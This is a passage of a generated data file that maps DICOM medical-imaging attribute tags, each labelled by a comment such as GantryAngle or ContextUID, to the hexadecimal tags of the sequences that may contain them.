0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A504L, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# ContextGroupVersion
0x00080106L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# ContextGroupLocalVersion
0x00080107L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# DisplayEnvironmentSpatialPosition
0x00720108L: [0x00720102L, 0x00720300L],
# ApplicatorType
0x300A0109L: [0x300A0107L],
# ScreenMinimumGrayscaleBitDepth
0x0072010AL: [0x00720102L],
# ContextGroupExtensionFlag
0x0008010BL: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# ScreenMinimumColorBitDepth
0x0072010CL: [0x00720102L],
# ContextGroupExtensionCreatorUID
0x0008010DL: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# ApplicationMaximumRepaintTime
0x0072010EL: [0x00720102L],
# ContextIdentifier
0x0008010FL: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# LossyImageCompression
0x00282110L: [0x00189506L],
# DerivationDescription
0x00082111L: [0x00189412L, 0x00089124L],
# SourceImageSequence
0x00082112L: [0x00189507L, 0x00089124L],
# ObjectiveLensNumericalAperture
0x00480113L: [0x00480105L],
# EndCumulativeMetersetWeight
0x300C0009L: [0x300C0042L, 0x300A00CAL, 0x00741030L],
# DoseRateSet
0x300A0115L: [0x300A0111L, 0x30080040L, 0x0074104CL],
# WedgePositionSequence
0x300A0116L: [0x300A0111L, 0x30080040L, 0x0074104CL],
# ContextUID
0x00080117L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# WedgePosition
0x300A0118L: [0x300A03ACL, 0x300A0116L],
# VerticalPrismPower
0x00460034L: [0x00460028L],
# BeamLimitingDevicePositionSequence
0x300A011AL: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# LeafJawPositions
0x300A011CL: [0x300A011AL, 0x300A00B6L],
# GantryAngle
0x300A011EL: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL],
# GantryRotationDirection
0x300A011FL: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# DateTime
0x0040A120L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00741212L],
# Date
0x0040A121L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00400555L, 0x00741212L],
# Time
0x0040A122L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00400555L, 0x00741212L],
# PersonName
0x0040A123L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A078L, 0x0040A07AL, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00400555L, 0x00741212L],
# UID
0x0040A124L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00741212L],
# TableTopEccentricAngle
0x300A0125L: [0x300A0111L, 0x30080040L, 0x0074104CL],
# TableTopEccentricRotationDirection
0x300A0126L: [0x300A0111L, 0x30080040L, 0x0074104CL],
# AlgorithmVersion
0x00660031L: [0x00240083L, 0x00240085L, 0x00240344L, 0x00660035L, 0x0066002DL, 0x00240065L, 0x00240067L],
# TableTopVerticalPosition
0x300A0128L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL, 0x00189406L],
# TableTopLongitudinalPosition
0x300A0129L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL, 0x00189406L],
# TableTopLateralPosition
0x300A012AL: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL, 0x00189406L],
# IsocenterPosition
0x300A012CL: [0x300A03A8L, 0x300A0111L],
# UniversalEntityID
0x00400032L: [0x00080051L, 0x00400026L, 0x00400027L, 0x00380014L, 0x00380064L, 0x00100024L, 0x00400036L, 0x00400513L, 0x00400562L],
# SurfaceEntryPoint
0x300A012EL: [0x300A03A8L, 0x300A0111L],
# StorageMediaFileSetID
0x00880130L: [0x2200000DL, 0x0040E022L, 0x00081115L, 0x00081199L],
# ReferencedBrachyApplicationSetupSequence
0x300C000AL: [0x300C0020L, 0x300A0070L],
# FixationMonitoringCodeSequence
0x00240033L: [0x00240032L],
# CumulativeMetersetWeight
0x300A0134L: [0x300A03A8L, 0x300A0111L],
# EventCodeSequence
0x00082135L: [0x00082133L],
# SpecifiedNumberOfPulses
0x30080136L: [0x30080130L],
# DecimalVisualAcuity
0x00460137L: [0x00460122L, 0x00460123L, 0x00460124L, 0x00240110L],
# DeliveredNumberOfPulses
0x30080138L: [0x30080130L],
# ImageSetSelectorCategory
0x00720034L: [0x00720030L],
# GridID
0x00181006L: [0x00189507L],
# DeliveredPulseRepetitionInterval
0x3008013CL: [0x30080130L],
# FixationCheckedQuantity
0x00240035L: [0x00240032L],
# StorageMediaFileSetUID
0x00880140L: [0x2200000DL, 0x0040E022L, 0x00081115L, 0x00081199L],
# TableTopPitchRotationDirection
0x300A0142L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# StopTrim
0x00082143L: [0x00089458L],
# TableTopRollAngle
0x300A0144L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL],
# HumanPerformerOrganization
0x00404036L: [0x00404035L, 0x00404034L],
# TableTopRollRotationDirection
0x300A0146L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# CylinderPower
0x00460147L: [0x00460018L],
# HeadFixationAngle
0x300A0148L: [0x300A03A8L, 0x30080041L, 0x0074104EL],
# GantryPitchAngle
0x300A014AL: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L],
# ImageOrientationPatient
0x00200037L: [0x00640005L, 0x00540022L, 0x00209116L],
# GantryPitchRotationDirection
0x300A014CL: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL],
# GantryPitchAngleTolerance
0x300A014EL: [0x300A0040L],
# ScheduledPerformingPhysicianIdentificationSequence
0x0040000BL: [0x00400100L],
# NumberOfPaddedAlines
0x00520038L: [0x00520029L],
# ReferencedChannelShieldNumber
0x30080152L: [0x30080150L],
# MaximumCollatedFilms
0x20100154L: [0x2000001EL],
# DopplerSampleVolumeXPosition
0x00186039L: [0x00186011L],
# SpecifiedTreatmentTime
0x3008003AL: [0x30080020L, 0x00741042L, 0x30080021L],
# BrachyControlPointDeliveredSequence
0x30080160L: [0x30080130L],
# SafePositionExitDate
0x30080162L: [0x30080130L],
# DopplerSampleVolumeYPosition
0x0018603BL: [0x00186011L],
# SafePositionExitTime
0x30080164L: [0x30080130L],
# GraphicObjectSequence
0x00700009L: [0x00700001L],
# SafePositionReturnDate
0x30080166L: [0x30080130L],
# SafePositionReturnTime
0x30080168L: [0x30080130L],
# IOLPowerSequence
0x00221090L: [0x00221300L, 0x00221310L],
# ReferencedBrachyApplicationSetupNumber
0x300C000CL: [0x30080110L, 0x300C000AL],
# TMLinePositionX0
0x0018603DL: [0x00186011L],
# PurposeOfReferenceCodeSequence
0x0040A170L: [0x00380100L, 0x00081140L, 0x0008114AL, 0x00082112L, 0x00081250L, 0x00081199L, 0x0018A001L],
# HighBit
0x00280102L: [0x00880200L, 0x20200110L, 0x20200111L],
# ProcedureStepCommunicationsURISequence
0x00741008L: [0x00741002L],
# IssueDateOfImagingServiceRequest
0x00402004L: [0x0040A370L],
# PatientSetupSequence
0x300A0180L: [0x00741042L],
# ReferencedVerificationImageSequence
0x300C0040L: [0x30080020L, 0x30080021L, 0x30080110L],
# PatientSetupNumber
0x300A0182L: [0x300A0180L],
# PatientSetupLabel
0x300A0183L: [0x300A0180L],
# PatientAdditionalPosition
0x300A0184L: [0x300A0180L],
# ModalityLUTSequence
0x00283000L: [0x00700402L],
# PixelIntensityRelationshipSign
0x00281041L: [0x00289443L],
# TableTopRollAngleTolerance
0x300A0050L: [0x300A03A0L, 0x300A0040L],
# ReferencedReferenceImageSequence
0x300C0042L: [0x300A03A2L, 0x300A00B0L, 0x300A0230L],
# FixationDeviceSequence
0x300A0190L: [0x300A0180L],
# FixationDeviceType
0x300A0192L: [0x300A0190L],
# TMLinePositionY1
0x00186043L: [0x00186011L],
# FixationDeviceLabel
0x300A0194L: [0x300A0190L],
# ModifierCodeSequence
0x0040A195L: [0x0040A043L, 0x0040A168L],
# FixationDeviceDescription
0x300A0196L: [0x300A0190L],
# FixationDevicePosition
0x300A0198L: [0x300A0190L],
# PupilSize
0x00460044L: [0x00240114L, 0x00240115L, 0x00460050L, 0x00460052L],
# FixationDeviceRollAngle
0x300A019AL: [0x300A0190L],
# IssueTimeOfImagingServiceRequest
0x00402005L: [0x0040A370L],
# SpecimenTypeCodeSequence
0x0040059AL: [0x00400560L],
# ContourOffsetVector
0x30060045L: [0x30060040L],
# ShieldingDeviceSequence
0x300A01A0L: [0x300A0180L],
# ShieldingDeviceType
0x300A01A2L: [0x300A01A0L],
# ShieldingDeviceLabel
0x300A01A4L: [0x300A01A0L],
# FalseNegativesEstimate
0x00240046L: [0x00240034L],
# ShieldingDeviceDescription
0x300A01A6L: [0x300A01A0L],
# ShieldingDevicePosition
0x300A01A8L: [0x300A01A0L],
# ReferencedSourceNumber
0x300C000EL: [0x300A0280L, 0x30080130L],
# MultiCoilElementName
0x00189047L: [0x00189045L],
# SetupTechnique
0x300A01B0L: [0x300A0180L],
# ContourNumber
0x30060048L: [0x30060040L],
# ContactURI
0x0074100AL: [0x00741008L],
# BitsAllocated
0x00280100L: [0x00880200L, 0x20200110L, 0x20200111L],
# DVHType
0x30040001L: [0x30040050L],
# SetupDeviceType
0x300A01B6L: [0x300A01B4L],
# RotationAngle
0x00700230L: [0x00700209L],
# SetupDeviceLabel
0x300A01B8L: [0x300A01B4L],
# ReferencedImageSequence
0x00081140L: [0x00700308L, 0x00283110L, 0x00409094L, 0x00189472L, 0x0070005AL, 0x00640002L, 0x00400340L, 0x00289505L, 0x00286100L, 0x0070031CL, 0x00700318L, 0x00081115L, 0x00700001L],
# SetupDeviceParameter
0x300A01BCL: [0x300A01B4L],
# PixelComponentRangeStop
0x0018604AL: [0x00186011L],
# HistogramNumberOfBins
0x00603002L: [0x00603000L],
# PixelComponentPhysicalUnits
0x0018604CL: [0x00186011L],
# Signature
0x04000120L: [0xFFFAFFFAL, 0x04000402L],
# SetupReferenceDescription
0x300A01D0L: [0x300A01B4L],
# TableTopVerticalSetupDisplacement
0x300A01D2L: [0x00741020L, 0x300A0180L],
# TableTopLongitudinalSetupDisplacement
0x300A01D4L: [0x00741020L, 0x300A0180L],
# TableTopEccentricAngleTolerance
0x300A004EL: [0x300A0040L],
# TableTopLateralSetupDisplacement
0x300A01D6L: [0x00741020L, 0x300A0180L],
# ThreeDImplantTemplateGroupMemberMatchingPoint
0x00780050L: [0x0078002AL],
# ScheduledStationName
0x00400010L: [0x00400100L],
# ReferencedDoseReferenceNumber
0x300C0051L: [0x300800E0L, 0x30080050L, 0x300C0050L, 0x30080080L, 0x30080090L, 0x300C0055L, 0x30080070L, 0x30080010L],
# ExcessiveFalseNegatives
0x00240052L: [0x00240034L],
# EnergyWindowRangeSequence
0x00540013L: [0x00540012L],
# TableTopLateralPositionTolerance
0x300A0053L: [0x300A03A0L, 0x300A0040L],
# FalsePositivesEstimate
0x00240054L: [0x00240034L],
# HistogramFirstBinValue
0x00603004L: [0x00603000L],
# CatchTrialsDataFlag
0x00240055L: [0x00240034L],
# IconImageSequence
0x00880200L: [0x00081199L, 0x0040A730L],
# TopLeftHandCornerOfLocalizerArea
0x00480201L: [0x00480200L],
# AlgorithmSource
0x00240202L: [0x00240083L, 0x00240085L, 0x00240344L, 0x00660035L, 0x0066002DL, 0x00240065L, 0x00240067L],
# DisplaySetLabel
0x00720203L: [0x00720200L],
# SeriesNumber
0x00200011L: [0x00081115L],
# SelectorAttributePrivateCreator
0x00720056L: [0x00741048L, 0x0074104AL, 0x00720022L, 0x00720400L, 0x00720600L],
# DisplaySetPresentationGroupDescription
0x00720206L: [0x00720200L],
# GraphicGroupLabel
0x00700207L: [0x00700234L],
# GraphicGroupDescription
0x00700208L: [0x00700234L],
# PixelRepresentation
0x00280103L: [0x00880200L, 0x20200110L, 0x20200111L],
# SourceWaveformSequence
0x003A020AL: [0x003A0200L],
# InStackPositionNumber
0x00209057L: [0x00209111L],
# ChannelDerivationDescription
0x003A020CL: [0x003A0200L],
# AnatomicalOrientationType
0x00102210L: [0x00400100L],
# MRAcquisitionFrequencyEncodingSteps
0x00189058L: [0x00189125L],
# SourceNumber
0x300A0212L: [0x300A0210L, 0x30080100L],
# ChannelBaseline
0x003A0213L: [0x003A0200L],
# SourceType
0x300A0214L: [0x300A0210L, 0x30080100L],
# ChannelSampleSkew
0x003A0215L: [0x003A0200L],
# SourceManufacturer
0x300A0216L: [0x300A0210L, 0x30080100L],
# AnatomicRegionSequence
0x00082218L: [0x00780028L, 0x00686230L, 0x00760010L, 0x0072000CL, 0x00209071L, 0x00189260L, 0x00620002L],
# ActiveSourceLength
0x300A021AL: [0x300A0210L],
# ShapeType
0x00700306L: [0x0070031EL],
# TableOfParameterValues
0x0018605AL: [0x00186011L],
# RowPositionInTotalImagePixelMatrix
0x0048021EL: [0x0048021AL],
# ColumnPositionInTotalImagePixelMatrix
0x0048021FL: [0x0048021AL],
# AnatomicRegionModifierSequence
0x00082220L: [0x00082218L],
# FilterHighFrequency
0x003A0221L: [0x003A0200L],
# ContrastBolusAgentSequence
0x00180012L: [0x00189507L],
# ReferencedFractionNumber
0x30080223L: [0x30080240L],
# FractionGroupType
0x30080224L: [0x30080220L],
# SourceIsotopeName
0x300A0226L: [0x300A0210L, 0x30080100L],
# FontName
0x00700227L: [0x00700231L],
# SourceIsotopeHalfLife
0x300A0228L: [0x300A0210L, 0x30080100L],
# SourceStrengthUnits
0x300A0229L: [0x300A0210L, 0x30080100L],
# ReferenceAirKermaRate
0x300A022AL: [0x300A0210L, 0x30080100L],
# SourceStrength
0x300A022BL: [0x300A0210L, 0x30080100L],
# SourceStrengthReferenceDate
0x300A022CL: [0x300A0210L, 0x30080100L],
# SourceStrengthReferenceTime
0x300A022EL: [0x300A0210L, 0x30080100L],
# DeviceVolume
0x00500018L: [0x00500010L],
# BeamStopperPosition
0x30080230L: [0x30080040L],
# TextStyleSequence
0x00700231L: [0x00700008L, 0x00700209L],
# ApplicationSetupType
0x300A0232L: [0x300A0230L, 0x30080110L],
# FillStyleSequence
0x00700233L: [0x00700009L, 0x00700209L],
# ApplicationSetupNumber
